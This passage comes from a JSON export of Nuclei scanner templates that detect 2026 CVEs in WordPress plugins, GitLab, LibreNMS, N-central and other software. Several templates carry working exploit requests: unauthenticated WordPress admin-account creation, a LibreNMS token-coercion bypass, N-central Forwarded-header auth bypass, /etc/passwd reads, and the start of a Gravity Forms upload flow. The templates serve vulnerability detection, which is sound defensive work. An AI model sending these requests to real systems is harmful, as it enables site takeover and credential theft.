Juggle

\", \"having the \\\"powered by\\\" link somewhere on your blog\") || contains_all(body, \"opml version\", \"generator=\\\"WordPress\")'\n - 'status_code == 200'\n condition: and\n# digest: 4a0a004730450220781aa5dfe90882d37433c5de313eab267b12c160c659335abbff82c01b32797f022100eb1958c9a90e0e4c6f056eeeb1497ef277fbfe4a3e6692acbee98ec785837183:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-87902.yaml","vuln_id":"cve-2026-87902"},{"raw":"id: CVE-2026-87820\n\ninfo:\n name: CyberPanel 2.4.3-2.4.5 - AI Scanner Debug Disclosure\n author: 0x_Akoko\n severity: medium\n description: |\n CyberPanel versions 2.4.3 through 2.4.5 expose unauthenticated AI Scanner debugging endpoints that disclose administrator usernames, API-key prefixes, scan identifiers, target domains, and account metadata. Unauthenticated attackers can enumerate panel administrators and recent scanner activity to inventory multi-tenant installations and facilitate follow-on attacks.\n impact: |\n Unauthenticated attackers can enumerate panel administrators, API key prefixes,hosted domains, and scan metadata CyberPanel instances.\n remediation: |\n Upgrade CyberPanel to 2.4.6\n reference:\n - https://github.com/usmannasir/cyberpanel/security/advisories/GHSA-qmwq-9cc8-x6h2\n - https://github.com/usmannasir/cyberpanel/commit/20484fd\n - https://nvd.nist.gov/vuln/detail/CVE-2026-87820\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n cvss-score: 5.3\n cwe-id: CWE-489\n cve-id: CVE-2026-87820\n epss-score: 0.00522\n epss-percentile: 0.43283\n metadata:\n verified: true\n max-request: 2\n vendor: cyberpanel\n product: cyberpanel\n shodan-query: http.title:\"Login - CyberPanel\"\n fofa-query: title=\"Login - CyberPanel\"\n tags: cve,cve2026,cyberpanel,debug,disclosure,unauth\n\nflow: http(1) && http(2)\n\nhttp:\n - raw:\n - |\n GET / HTTP/1.1\n Host: {{Hostname}}\n\n redirects: true\n max-redirects: 3\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains_any(tolower(body), \"cyberpanel\", \"usmannasir/cyberpanel\")'\n condition: and\n internal: true\n\n - raw:\n - |\n GET /api/ai-scanner/list-api-keys HTTP/1.1\n Host: {{Hostname}}\n Accept: application/json\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains(content_type, \"json\")'\n - 'contains_all(body, \"api_key_prefix\", \"admin\", \"recent_scans\")'\n condition: and\n# digest: 4a0a00473045022100abc306a921ffbb33d5dc2616b38b51058315a6a682cb1b994c54b57c12d1af6c02203d989d6daf3f9ecb87c465dcf9ccae757f0e0ff2d95b7fd08fb6a48d619b94a0:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-87820.yaml","vuln_id":"cve-2026-87820"},{"raw":"id: CVE-2026-8732\n\ninfo:\n name: WP Maps Pro (wp-google-map-gold) <= 6.1.0 - Unauthenticated Administrator Account Creation\n author: DhiyaneshDk\n severity: critical\n description: |\n The WP Maps Pro plugin for WordPress is vulnerable to Privilege Escalation via Administrator Account Creation in all versions up to, and including, 6.1.0. This is due to the wpgmp_temp_access_ajax AJAX action being registered with wp_ajax_nopriv_ and protected only by a nonce check using the fc-call-nonce nonce, which is publicly embedded into every frontend page via wp_localize_script as the nonce field of the wpgmp_local JavaScript object, rendering the check ineffective as an access control mechanism. This makes it possible for unauthenticated attackers to invoke the wpgmp_temp_access_support handler with check_temp=false, which unconditionally creates a new WordPress user with the hardcoded role of administrator via wp_insert_user() and returns a magic login URL that, when visited, calls wp_set_auth_cookie() to fully authenticate the attacker as the newly created administrator, resulting in complete site takeover.\n impact: |\n Unauthenticated attackers can create administrator accounts and fully authenticate, leading to complete site takeover.\n remediation: |\n Update to the latest version beyond 6.1.0.\n reference:\n - https://nvd.nist.gov/vuln/detail/CVE-2026-8732\n - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-maps-pro/cve-2026-8732/\n - https://github.com/xShadow-Here/CVE-2026-8732\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n cvss-score: 9.8\n cve-id: CVE-2026-8732\n cwe-id: CWE-862\n epss-score: 0.22728\n epss-percentile: 0.97623\n metadata:\n verified: true\n max-request: 2\n vendor: flippercode\n product: wp-google-map-gold\n fofa-query: body=\"/wp-content/plugins/wp-maps-pro/\"\n publicwww-query: \"/wp-content/plugins/wp-maps-pro/\"\n shodan-query: http.html:\"/wp-content/plugins/wp-maps-pro/\"\n tags: cve,cve2026,wordpress,wp-plugin,wp-maps-pro,unauth,priv-esc,intrusive,vkev\n\nflow: http(1) && http(2)\n\nvariables:\n username: \"{{rand_base(8)}}\"\n email: \"{{rand_base(6)}}@{{rand_base(4)}}.com\"\n password: \"{{rand_base(10)}}\"\n\nhttp:\n - raw:\n - |\n GET / HTTP/1.1\n Host: {{Hostname}}\n Accept: text/html,application/xhtml+xml\n\n matchers:\n - type: dsl\n dsl:\n - 'contains(body, \"wpgmp_local\")'\n - 'status_code == 200'\n condition: and\n internal: true\n\n extractors:\n - type: regex\n name: nonce\n part: body\n group: 1\n regex:\n - '\"wpgmp_local\"[^;]*\"nonce\"\\s*:\\s*\"([a-f0-9]+)\"'\n - 'wpgmp_local\\s*=\\s*\\{[^}]*\"nonce\"\\s*:\\s*\"([a-f0-9]+)\"'\n internal: true\n\n - raw:\n - |\n POST /wp-admin/admin-ajax.php HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/x-www-form-urlencoded\n\n action=wpgmp_temp_access_ajax&nonce={{nonce}}&check_temp=false&user_login={{username}}&user_email={{email}}&user_pass={{password}}\n\n matchers-condition: and\n matchers:\n - type: word\n part: body\n words:\n - 'wpgmp_access='\n - '\"wpgmp_access\":'\n - 'login_url'\n - 'user_id'\n condition: and\n\n - type: word\n part: body\n words:\n - '\"success\":true'\n\n - type: status\n status:\n - 200\n# digest: 4b0a00483046022100d2bcce04577968f75cdc5067bd95dfffec869d9374f6035210cf43d195868ed6022100a9b92cabe15e4001a8c06aba286f385b40ecf3205e49bca922f00380072b67ff:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-8732.yaml","vuln_id":"cve-2026-8732"},{"raw":"id: CVE-2026-8713\n\ninfo:\n name: Avada (Fusion) Builder <= 3.15.3 - Unauthenticated Arbitrary File Deletion\n author: rool-machine\n severity: critical\n description: |\n The Avada (Fusion) Builder plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the maybe_delete_files function. An unauthenticated attacker can delete arbitrary files on the server by manipulating the file_path parameter in the fusion_form_maybe_delete_files AJAX action. Deleting critical files like wp-config.php can lead to complete site takeover via reinstallation. This template detects the vulnerable version via homepage asset URL versioning (primary) and readme.txt Stable tag (fallback).\n impact: |\n An unauthenticated attacker can delete any file readable by the web server process, potentially leading to complete site compromise through wp-config.php deletion and WordPress reinstallation.\n remediation:\n Upgrade the Avada Builder (Fusion Builder) plugin to version 3.15.4 or later.\n reference:\n - https://www.wordfence.com/blog/2026/06/critical-unauthenticated-arbitrary-file-deletion-vulnerability-patched-in-avada-builder-wordpress-plugin/\n - https://nvd.nist.gov/vuln/detail/CVE-2026-8713\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H\n cvss-score: 9.1\n cve-id: CVE-2026-8713\n epss-score: 0.02669\n epss-percentile: 0.85096\n cwe-id: CWE-22\n metadata:\n verified: true\n max-request: 1\n shodan-query: http.component:\"WordPress\" http.component:\"Avada\"\n fofa-query: body=\"fusion-builder\" && body=\"WordPress\"\n product: fusion-builder\n vendor: theme-fusion\n framework: wordpress\n tags: cve,cve2026,wordpress,wp-plugin,avada,fusion-builder,file-deletion,passive,vkev\n\nhttp:\n - raw:\n - |\n GET / HTTP/1.1\n Host: {{Hostname}}\n\n matchers-condition: and\n matchers:\n - type: word\n part: body\n words:\n - \"fusion-builder\"\n\n - type: dsl\n dsl:\n - compare_versions(version, '<= 3.15.3')\n\n - type: status\n status:\n - 200\n\n extractors:\n - type: regex\n name: version\n part: body\n group: 1\n regex:\n - \"fusion-builder/assets/css/media/fullwidth[^\\\"']*\\\\?ver=([0-9]+\\\\.[0-9]+(?:\\\\.[0-9]+)?)\"\n - \"id=['\\\"]fb-[^'\\\"]+['\\\"]\\\\s+href=['\\\"][^'\\\"]*\\\\?ver=([0-9]+\\\\.[0-9]+(?:\\\\.[0-9]+)?)['\\\"]\"\n internal: true\n\n - type: regex\n name: detected_version\n part: body\n group: 1\n regex:\n - \"fusion-builder/assets/css/media/fullwidth[^\\\"']*\\\\?ver=([0-9]+\\\\.[0-9]+(?:\\\\.[0-9]+)?)\"\n - \"id=['\\\"]fb-[^'\\\"]+['\\\"]\\\\s+href=['\\\"][^'\\\"]*\\\\?ver=([0-9]+\\\\.[0-9]+(?:\\\\.[0-9]+)?)['\\\"]\"\n# digest: 4a0a00473045022100849b06b8eed349b0b4f55af2b5acc0019fdd4abf37f9b247a0b1c0cd6a83028c02205d3b9defbb41fcd507c712f469f6d4e05daf29602c86ae638d87bc2df9e62fc7:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-8713.yaml","vuln_id":"cve-2026-8713"},{"raw":"id: CVE-2026-8679\n\ninfo:\n name: WordPress AudioIgniter <= 2.0.2 - Unauthenticated IDOR\n author: 0x_Akoko\n severity: high\n description: |\n The AudioIgniter plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 2.0.2. The handle_playlist_endpoint() function accepted a user-controlled playlist ID and returned track data without authentication.\n impact: |\n Unauthenticated attackers can access sensitive playlist metadata including private and draft content, leading to information disclosure.\n remediation: |\n Update to the latest version of AudioIgniter plugin.\n reference:\n - https://plugins.trac.wordpress.org/browser/audioigniter/trunk/audioigniter.php\n - https://nvd.nist.gov/vuln/detail/CVE-2026-8679\n - https://wordpress.org/plugins/audioigniter/\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n cvss-score: 7.5\n cve-id: CVE-2026-8679\n epss-score: 0.01566\n epss-percentile: 0.74215\n cwe-id: CWE-639\n metadata:\n verified: true\n max-request: 2\n fofa-query: body=\"audioigniter_playlist_id\"\n tags: cve,cve2026,wordpress,wp-plugin,audioigniter,idor,exposure,wp\n\nflow: http(1) && http(2)\n\nhttp:\n - raw:\n - |\n GET / HTTP/1.1\n Host: {{Hostname}}\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains(body, \"audioigniter_playlist_id\")'\n condition: and\n internal: true\n\n extractors:\n - type: regex\n name: playlist_id\n part: body\n regex:\n - 'audioigniter_playlist_id=(\\d+)'\n group: 1\n internal: true\n\n - raw:\n - |\n GET /?audioigniter_playlist_id={{playlist_id}} HTTP/1.1\n Host: {{Hostname}}\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains(content_type, \"application/json\")'\n - 'contains_all(body, \"\\\"title\\\"\", \"\\\"audio\\\"\", \"\\\"subtitle\\\"\")'\n condition: and\n# digest: 4a0a004730450221008d7dde8b6a44e71ac4db173b7d82f954748631d7a94677eaae91f52f19f16d73022063e7ea8ae7748dbdbab8eead902c1ae3684f3bc06eebd738cf60c66cb29a1727:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-8679.yaml","vuln_id":"cve-2026-8679"},{"raw":"id: CVE-2026-86426\n\ninfo:\n name: LibreNMS <= 26.7.0 - Unauthenticated API Access\n author: 0x_Akoko\n severity: critical\n description: |\n LibreNMS <= 26.8.0 contains an authentication bypass caused by MySQL type coercion in the REST API token validation, letting unauthenticated attackers access protected endpoints and execute remote code via alert templates.\n impact: |\n Unauthenticated attackers can access protected API endpoints and execute remote code, leading to full system compromise.\n remediation: |\n Update to version 26.8.0 or later.\n reference:\n - https://github.com/librenms/librenms/security/advisories/GHSA-cvq8-gqfq-3mvg\n classification:\n cvss-score: 9.2\n cwe-id: CWE-287\n metadata:\n verified: true\n max-request: 11\n vendor: librenms\n product: librenms\n shodan-query: http.title:\"LibreNMS\"\n fofa-query: title=\"LibreNMS\"\n tags: librenms,auth-bypass,type-confusion,api,unauth\n\nflow: |\n if (http(1)) {\n var guesses = [[0], 1, 2, 3, 4, 5, 6, 7, 8, 9];\n for (var i = 0; i < guesses.length; i++) {\n set(\"guess\", JSON.stringify(guesses[i]));\n if (http(2)) break;\n }\n }\n\nhttp:\n - raw:\n - |\n GET / HTTP/1.1\n Host: {{Hostname}}\n\n redirects: true\n max-redirects: 3\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains(tolower(body), \"librenms\")'\n condition: and\n internal: true\n\n - raw:\n - |\n GET /api/v0/devices HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n\n {\"api_token\":{{guess}}}\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains(content_type, \"json\")'\n - 'contains_all(body, \"\\\"status\\\"\", \"\\\"ok\\\"\", \"\\\"devices\\\"\")'\n condition: and\n# digest: 4a0a00473045022029c1fd64a3c709c8f706a0055b32bdb0ce8e61e4b09bb8debfb7d8edeac0a25e022100e84ed6a48b9c364ac97bc1406d038d005b496afa275bc3a69b24ef8108ec2176:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-86426.yaml","vuln_id":"cve-2026-86426"},{"raw":"id: CVE-2026-86218\n\ninfo:\n name: N-able N-central <2026.3.1.14 - Pre-Authentication Remote Code Execution\n author: DhiyaneshDk\n severity: critical\n description: |\n N-able N-central versions before 2026.3.1.14 are vulnerable to pre-authentication remote code execution via static code injection (CWE-96). An unauthenticated attacker with network access to the N-central management interface can execute arbitrary code on the server, potentially compromising every managed endpoint under the platform's control. Huntress confirmed active in-the-wild exploitation. N-able's hosted (NCOD) instances were automatically patched, on-premises deployments require manual upgrade to 2026.3.1.14. The N-central build version is exposed pre-authentication in the login page JavaScript object (ncentralVersion), enabling reliable version-based detection.\n impact: |\n A successful exploit grants an unauthenticated attacker remote code execution on the N-central server with the service account's privileges, enabling full control of the N-central RMM platform and all managed endpoints, lateral movement to all customer networks managed by the MSP, credential harvesting from N-central's credential vault, and deployment of ransomware or backdoors across all managed infrastructure.\n remediation: |\n Upgrade N-central immediately to version 2026.3.1.14 (Hotfix 4) or later. Direct upgrade paths exist from builds 2025.4, 2026.1, 2026.2, 2026.3, and all 2026.3.1 hotfixes. Additionally restrict inbound access to N-central with IP allowlisting or VPN, audit N-central user accounts for unauthorized accounts (especially .invalid emails), and review appliance logs for evidence of pre-exploitation reconnaissance.\n reference:\n - https://me.n-able.com/s/security-advisory/aArVy00\n - https://www.huntress.com/blog/n-able-vulnerability-exploitation\n - https://nvd.nist.gov/vuln/detail/CVE-2026-86218\n - https://www.bleepingcomputer.com/news/security/n-able-patches-max-severity-n-central-flaw-amid-ongoing-attacks/\n - https://forkast.news/n-able-n-central-cvss-10-0-pre-auth-rce-marks-third-attack-wave-in-six-weeks/\n - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86218\n classification:\n cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H\n cvss-score: 10.0\n cve-id: CVE-2026-86218\n epss-score: 0.07494\n epss-percentile: 0.94207\n cwe-id: CWE-96\n metadata:\n verified: true\n max-request: 1\n vendor: n-able\n product: n-central\n shodan-query: title:\"N-central\"\n fofa-query: title=\"N-central Login Redirect\"\n tags: cve,cve2026,n-able,n-central,rce,unauth,static-code-injection,kev,vkev,passive\n\nhttp:\n - raw:\n - |\n GET /login HTTP/1.1\n Host: {{Hostname}}\n\n matchers-condition: and\n matchers:\n - type: dsl\n dsl:\n - 'contains(body, \"ncentralVersion:\")'\n - 'contains(body, \"N-able N-central\")'\n condition: and\n\n - type: dsl\n dsl:\n - 'compare_versions(nc_version, \"< 2026.3.1.14\")'\n\n - type: dsl\n dsl:\n - 'status_code == 200'\n\n extractors:\n - type: regex\n name: nc_version\n part: body\n internal: true\n group: 1\n regex:\n - 'ncentralVersion:\\s*\"([0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+)\"'\n\n - type: regex\n name: detected_version\n part: body\n group: 1\n regex:\n - 'ncentralVersion:\\s*\"([0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+)\"'\n# digest: 4a0a0047304502205857fe68483e7e25721c05f3699a3642a8859d33596175d20591314d3d982cf402210091beeedf1a34f920faead468998db07eae9e56127536a5e7b69d938ee1d635b1:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-86218.yaml","vuln_id":"cve-2026-86218"},{"raw":"id: CVE-2026-86207\n\ninfo:\n name: N-able N-central - Authentication Bypass\n author: rapid7,DhiyaneshDk\n severity: critical\n description: |\n An authentication bypass in N-central < 2026.3 HF 3 leads to authentication bypass in internal-only APIs.\n impact: |\n Attackers can bypass authentication, potentially gaining unauthorized access to internal APIs and sensitive data.\n remediation: |\n Upgrade N-able N-central to version 2026.3.1.13 (2026.3 Hotfix 3) or later.\n Hosted N-central environments have already been patched by the vendor.\n reference:\n - https://www.rapid7.com/blog/post/ve-cve-2026-86206-cve-2026-86207-n-able-n-central-authentication-bypass-fixed/\n - https://me.n-able.com/s/security-advisory/aArVy0000002LTNKA2/cve202686206-access-control-filter-bypass-allows-unauthorised-access-to-apis\n - https://documentation.n-able.com/N-central/Release_Notes/GA/Content/N-central_2026.3_HF3_Release_Notes.htm\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n cvss-score: 9.8\n cve-id: CVE-2026-86207\n epss-score: 0.00734\n epss-percentile: 0.52961\n cwe-id: CWE-287\n metadata:\n verified: true\n max-request: 3\n vendor: n-able\n product: n-central\n shodan-query: title:\"N-central\"\n fofa-query: title=\"N-central\"\n tags: cve,cve2026,n-able,n-central,auth-bypass,2fa-bypass,soap,vkev\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n - raw:\n - |\n POST /dms;/services/ServerUI HTTP/1.1\n Host: {{Hostname}}\n Forwarded: for=\"127.0.0.\\1\"\n Content-Type: text/xml; charset=utf-8\n SOAPAction: \"\"\n\n \n \n \n \n 3\n \n \n \n\n matchers:\n - type: dsl\n dsl:\n - \"status_code == 200\"\n - \"contains_all(body, 'SessionID')\"\n - \"contains(content_type, 'text/xml')\"\n condition: and\n internal: true\n\n extractors:\n - type: regex\n name: session_id\n part: body\n group: 1\n regex:\n - ']*>([0-9]+)'\n internal: true\n\n - raw:\n - |\n POST /dms;/services/ServerUI HTTP/1.1\n Host: {{Hostname}}\n Forwarded: for=\"127.0.0.\\1\"\n Content-Type: text/xml; charset=utf-8\n SOAPAction: \"\"\n\n \n \n \n \n {{session_id}}\n 1\n dummy\n \n \n \n\n matchers:\n - type: dsl\n dsl:\n - \"status_code == 500\"\n - \"contains_all(body, 'ConfigProfileUtils.getConfigProfile()', 'NullPointerException')\"\n condition: and\n internal: true\n\n - raw:\n - |\n POST /dms;/services/ServerUI HTTP/1.1\n Host: {{Hostname}}\n Forwarded: for=\"127.0.0.\\1\"\n Content-Type: text/xml; charset=utf-8\n SOAPAction: \"\"\n\n \n \n \n \n {{session_id}}\n 1\n true\n false\n \n \n \n\n matchers:\n - type: dsl\n dsl:\n - \"status_code == 200\"\n - \"contains_all(body, 'customerListResponse', '\n \n \n \n 3\n \n \n \n\n matchers:\n - type: dsl\n dsl:\n - \"status_code == 200\"\n - \"contains(body, 'SessionID')\"\n - \"contains(content_type, 'text/xml')\"\n condition: and\n\n - type: dsl\n dsl:\n - \"status_code == 500\"\n - \"contains(body, 'ServerDMS')\"\n - \"contains(content_type, 'text/xml')\"\n condition: and\n# digest: 4a0a004730450220669cacc37a005a71b30ed05749211604d83f4cfc70c16c5e4a5f368e663308c4022100a439b258b17f44d769d38238b5f8d679667d5754d1c31719035d5fba7be660ac:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-86206.yaml","vuln_id":"cve-2026-86206"},{"raw":"id: CVE-2026-85706\n\ninfo:\n name: GitLab CE/EE <=19.1.7/19.2.5/19.3.1 - Arbitrary File Read\n author: FLX\n severity: critical\n description: |\n GitLab CE/EE contains an unauthenticated arbitrary file read. Workhorse, the reverse proxy in front of Rails, matches upload routes using EscapedPath() and path.Clean without decoding percent sequences, while Puma decodes them before routing to Grape. Appending a trailing slash to commits or percent-encoding a static path segment as %63ommits therefore bypasses Workhorse upload route rewriting, and Rails reaches file_params_from_body_upload() which opens the path given in the file.path parameter before authenticate! is enforced. On the application/x-www-form-urlencoded branch the file bytes are handed to Rack::Utils.parse_nested_query, and any invalid percent sequence raises an ArgumentError whose message is interpolated into the HTTP 400 response body, disclosing file content to an unauthenticated caller.\n impact: |\n Unauthenticated remote attackers can read any file accessible to the GitLab git user, including /etc/passwd, database credentials, secrets.yml, SSH private keys, and CI build artifacts, which in turn enables session forgery and full compromise of the instance. Exploitation requires at least one publicly readable project on the target.\n remediation: |\n Upgrade GitLab CE/EE to 19.1.8, 19.2.6, or 19.3.2 or later. The fix moves authenticate! ahead of file processing and stops accepting raw file.path and file.size parameters from untrusted clients.\n reference:\n - https://about.gitlab.com/releases/2026/09/10/patch-release-gitlab-19-3-2-released/\n - https://gitlab.com/gitlab-org/gitlab/-/commit/0ff7b6b2911723389f2271b10362591b0a69a166\n - https://github.com/ynsmroztas/GitLabSniper\n - https://github.com/mhtsec/CVE-2026-85706\n - https://nvd.nist.gov/vuln/detail/CVE-2026-85706\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N\n cvss-score: 10.0\n cve-id: CVE-2026-85706\n epss-score: 0.09287\n epss-percentile: 0.95138\n cwe-id: CWE-22\n metadata:\n verified: true\n max-request: 1\n vendor: gitlab\n product: gitlab\n shodan-query: http.title:\"GitLab\"\n fofa-query: title=\"gitlab\"\n tags: cve,cve2026,gitlab,lfi,unauth,kev,vkev,vuln\n\nhttp:\n - raw:\n - |\n POST /api/v4/projects/1/repository/%66iles/{{randstr}}?file=&file.path=/cve-2026-85706-nuclei-probe&file.size=1&Content-Type=application/x-www-form-urlencoded HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/x-www-form-urlencoded\n Accept: application/json, */*\n\n matchers-condition: and\n matchers:\n - type: word\n part: body\n words:\n - \"local file not present\"\n\n - type: status\n status:\n - 400\n# digest: 490a004630440220784ae3a889adcbb60cfe6d14a57a98692e5886e28dbb1073fe2a75ea0ad9085102201e77463f8c614cdfb5550f0db79ec9d2b5ca93771a9f70afc287c5e0540dd6dc:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-85706.yaml","vuln_id":"cve-2026-85706"},{"raw":"id: CVE-2026-85688\n\ninfo:\n name: TEN Framework - Arbitrary File Read & Write\n author: aryu-ru,geo-chen\n severity: critical\n description: |\n TEN Framework 0.11.71 contains unauthenticated arbitrary file read and write vulnerabilities in the TMAN Designer file-content API endpoints, letting attackers read or write arbitrary files and execute code. The exploit requires no authentication.\n impact: |\n Attackers can read and write arbitrary files and execute code, potentially leading to full system compromise.\n remediation: |\n Update to the latest version of TEN Framework.\n reference:\n - https://www.vulncheck.com/advisories/ten-framework-0.11.71-unauthenticated-file-read-write-via-tman-designer\n - https://github.com/TEN-framework/ten-framework/issues/2187\n - https://github.com/TEN-framework/ten-framework/blob/0.11.71/core/src/ten_manager/src/designer/file_content/mod.rs\n - https://nvd.nist.gov/vuln/detail/CVE-2026-85688\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n cvss-score: 9.8\n cve-id: CVE-2026-85688\n epss-score: 0.01469\n epss-percentile: 0.72598\n cwe-id: CWE-306\n metadata:\n verified: true\n max-request: 1\n vendor: ten-framework\n product: ten-framework\n shodan-query: http.title:\"TEN Manager\"\n fofa-query: title=\"TEN Manager\"\n tags: cve,cve2026,ten-framework,tman,lfi,ai,unauth\n\nhttp:\n - raw:\n - |\n POST /api/designer/v1/file-content HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n\n {\"file_path\":\"/etc/passwd\"}\n\n matchers:\n - type: dsl\n dsl:\n - 'contains_all(body, \"\\\"status\\\":\\\"ok\\\"\", \"\\\"data\\\":{\\\"content\\\":\\\"\", \"root:\")'\n - 'contains(content_type, \"application/json\")'\n - 'status_code == 200'\n condition: and\n# digest: 490a00463044022023f8df55e6a7d949c550e4f8ca3229cd9e5c079f0e65e8c90a79ba1d75f620dc02200469fef92af64d4a9249f3b8b4adef67def99884058fdf6461ae4c7d4257c9a0:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-85688.yaml","vuln_id":"cve-2026-85688"},{"raw":"id: CVE-2026-85200\n\ninfo:\n name: GEO my WP <=4.5.5.3 - Unauthenticated Local File Inclusion\n author: 0x_Akoko\n severity: high\n description: |\n GEO my WP WordPress plugin <= 4.5.5.3 contains a local file inclusion caused by improper handling in gmw_posts_locator_ajax_info_window_loader function, letting unauthenticated attackers execute arbitrary PHP code remotely.\n impact: |\n Unauthenticated attackers can execute arbitrary PHP code remotely, potentially leading to full server compromise and data exposure.\n remediation: |\n Update to the latest version beyond 4.5.5.3.\n reference:\n - https://www.wordfence.com/threat-intel/vulnerabilities/id/562712a8-a42e-4b36-9985-3c71698efdda\n - https://github.com/Fitoussi/geo-my-wp/commit/5a768bf1c6e44ded83a65be8789f3587515665ac\n - https://plugins.trac.wordpress.org/browser/geo-my-wp/tags/4.5.5.3/includes/gmw-functions.php#L1945\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n cvss-score: 7.5\n cve-id: CVE-2026-85200\n epss-score: 0.01903\n epss-percentile: 0.78802\n cwe-id: CWE-98\n metadata:\n verified: true\n max-request: 1\n vendor: developer.developer\n product: geo-my-wp\n shodan-query: 'http.html:\"/wp-content/plugins/geo-my-wp/\"'\n fofa-query: 'body=\"/wp-content/plugins/geo-my-wp/\"'\n tags: cve,cve2026,wordpress,wp-plugin,geo-my-wp,lfi,unauth\n\nhttp:\n - raw:\n - |\n POST /wp-admin/admin-ajax.php HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/x-www-form-urlencoded\n\n action=gmw_info_window_init&location[object_id]=1&location[location_id]=1&form[component]=posts_locator&form[prefix]=pt&form[info_window_template][content_path]=/etc/passwd\n\n matchers-condition: and\n matchers:\n - type: word\n part: body\n words:\n - \"root:x:0:0\"\n\n - type: status\n status:\n - 200\n# digest: 490a0046304402201f5877ecd9665615f3d2f92154016ab9e2d2c890ac51d44710beebcf91e1955b022005266f3401d915e2da5078211a576b6845378269ab65378d237db12c10852014:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-85200.yaml","vuln_id":"cve-2026-85200"},{"raw":"id: CVE-2026-84434\n\ninfo:\n name: WordPress Gravity Forms Plugin <=3.1.0.4 - Unauthenticated Arbitrary File Upload\n author: DhiyaneshDk\n severity: critical\n description: |\n Gravity Forms WordPress plugin version 3.1.0.4 and earlier contains an unauthenticated arbitrary file upload vulnerability caused by bypassing extension validation in hidden file upload fields. Unauthenticated attackers can upload any file type including PHP when a form has a File Upload field configured with Hidden visibility. The bypass works because the server-side extension validation is skipped for fields with gfield_visibility_hidden CSS class.\n impact: |\n Unauthenticated attackers can upload arbitrary files including PHP webshells, enabling remote code execution on the web server leading to full server compromise.\n remediation: |\n Update Gravity Forms to version 3.1.1 or later.\n reference:\n - https://github.com/murrez/CVE-2026-84434\n - https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-3-1-0-4-unauthenticated-arbitrary-file-upload-via-hidden-file-upload-field-vulnerability\n - https://www.wordfence.com/threat-intel/vulnerabilities/id/787e22a9-329b-4e71-bc2a-4f5524fc9356\n - https://docs.gravityforms.com/gravityforms-change-log/\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n cvss-score: 9.8\n cve-id: CVE-2026-84434\n epss-score: 0.02756\n epss-percentile: 0.85598\n cwe-id: CWE-434\n metadata:\n verified: true\n max-request: 21\n vendor: rocketgenius\n product: gravityforms\n shodan-query: 'http.html:\"gravityforms\" http.html:\"gform_wrapper\"'\n fofa-query: 'body=\"gravityforms\" && body=\"gform_wrapper\"'\n tags: cve,cve2026,wordpress,plugin,gravityforms,file-upload,rce,unauth,vkev\n\nvariables:\n marker: \"{{rand_text_alpha(16)}}\"\n fname: \"{{rand_text_alpha(10)}}\"\n boundary: \"NucleiUpload{{rand_text_alpha(12)}}\"\n\nflow: |\n http(\"detect\");\n\n let scanPaths = [\"/\", \"/contact/\", \"/contact-us/\", \"/get-in-touch/\", \"/support/\",\n \"/apply/\", \"/register/\", \"/signup/\", \"/donate/\", \"/quote/\",\n \"/request-quote/\", \"/book/\", \"/appointment/\", \"/upload/\"];\n\n let formFound = false;\n\n for (let i = 0; i < scanPaths.length; i++) {\n set(\"scan_path\", scanPaths[i]);\n http(\"scan\");\n\n if (template[\"form_id\"] && template[\"hidden_field_input_name\"]) {\n set(\"found_page_path\", scanPaths[i]);\n formFound = true;\n break;\n }\n set(\"form_id\", \"\");\n set(\"hidden_field_input_name\", \"\");\n }\n\n if (!formFound) {\n stop();\n }\n\n 